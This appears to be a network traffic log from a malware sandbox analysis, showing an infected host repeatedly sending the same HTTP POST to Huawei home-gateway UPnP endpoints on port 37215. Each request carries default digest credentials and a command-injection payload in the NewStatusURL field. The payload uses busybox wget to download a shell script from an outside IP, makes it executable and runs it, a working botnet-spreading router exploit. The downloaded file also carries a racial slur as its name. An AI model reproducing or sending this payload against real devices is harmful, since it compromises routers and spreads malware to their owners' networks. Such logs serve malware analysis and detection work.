Feb 19, 2024 18:37:54.336720943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.15	38350	31.136.221.11	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376260996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930587053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018639088 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290425062 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642518044 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346072912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521678925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336718082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.15	51738	31.136.228.54	37215

Timestamp	Bytes transferred	Direction	Data
